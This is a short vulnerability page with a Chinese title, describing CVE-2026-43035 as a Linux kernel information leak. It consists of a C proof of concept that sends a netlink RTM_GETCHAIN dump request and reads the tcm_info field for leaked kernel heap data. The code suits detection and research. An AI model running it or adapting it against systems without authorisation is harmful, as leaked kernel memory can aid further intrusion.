CVE-2026-43035 Linux内核信息泄露漏洞

// Proof of Concept for CVE-2026-43035 // This PoC sends a netlink request to dump tc chains and checks the tcm_info field. // Compile with: gcc -o poc_cve2026_43035 poc_cve2026_43035.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; struct nlmsghdr *nh; struct tcmsg *tcm; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)); // Prepare Request Message (RTM_GETCHAIN) memset(buffer, 0, BUFFER_SIZE); nh = (struct nlmsghdr *)buffer; nh->nlmsg_type = RTM_GETCHAIN; // Request chain info nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); tcm = (struct tcmsg *)NLMSG_DATA(nh); tcm->tcm_family = AF_UNSPEC; // Send Request sendto(sock_fd, buffer, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); printf("Sent RTM_GETCHAIN request...\n"); // Receive Response int len = recv(sock_fd, buffer, BUFFER_SIZE, 0); if (len > 0) { nh = (struct nlmsghdr *)buffer; // Parse response to find tcm_info // Note: In a vulnerable kernel, tcm_info might contain non-zero heap data struct tcmsg *resp_tcm = (struct tcmsg *)NLMSG_DATA(nh); printf("Received response. tcm_info (potential leak): 0x%x\n", resp_tcm->tcm_info); if (resp_tcm->tcm_info != 0) { printf("[+] Vulnerability detected: tcm_info is not zero!\n"); } } close(sock_fd); return 0; }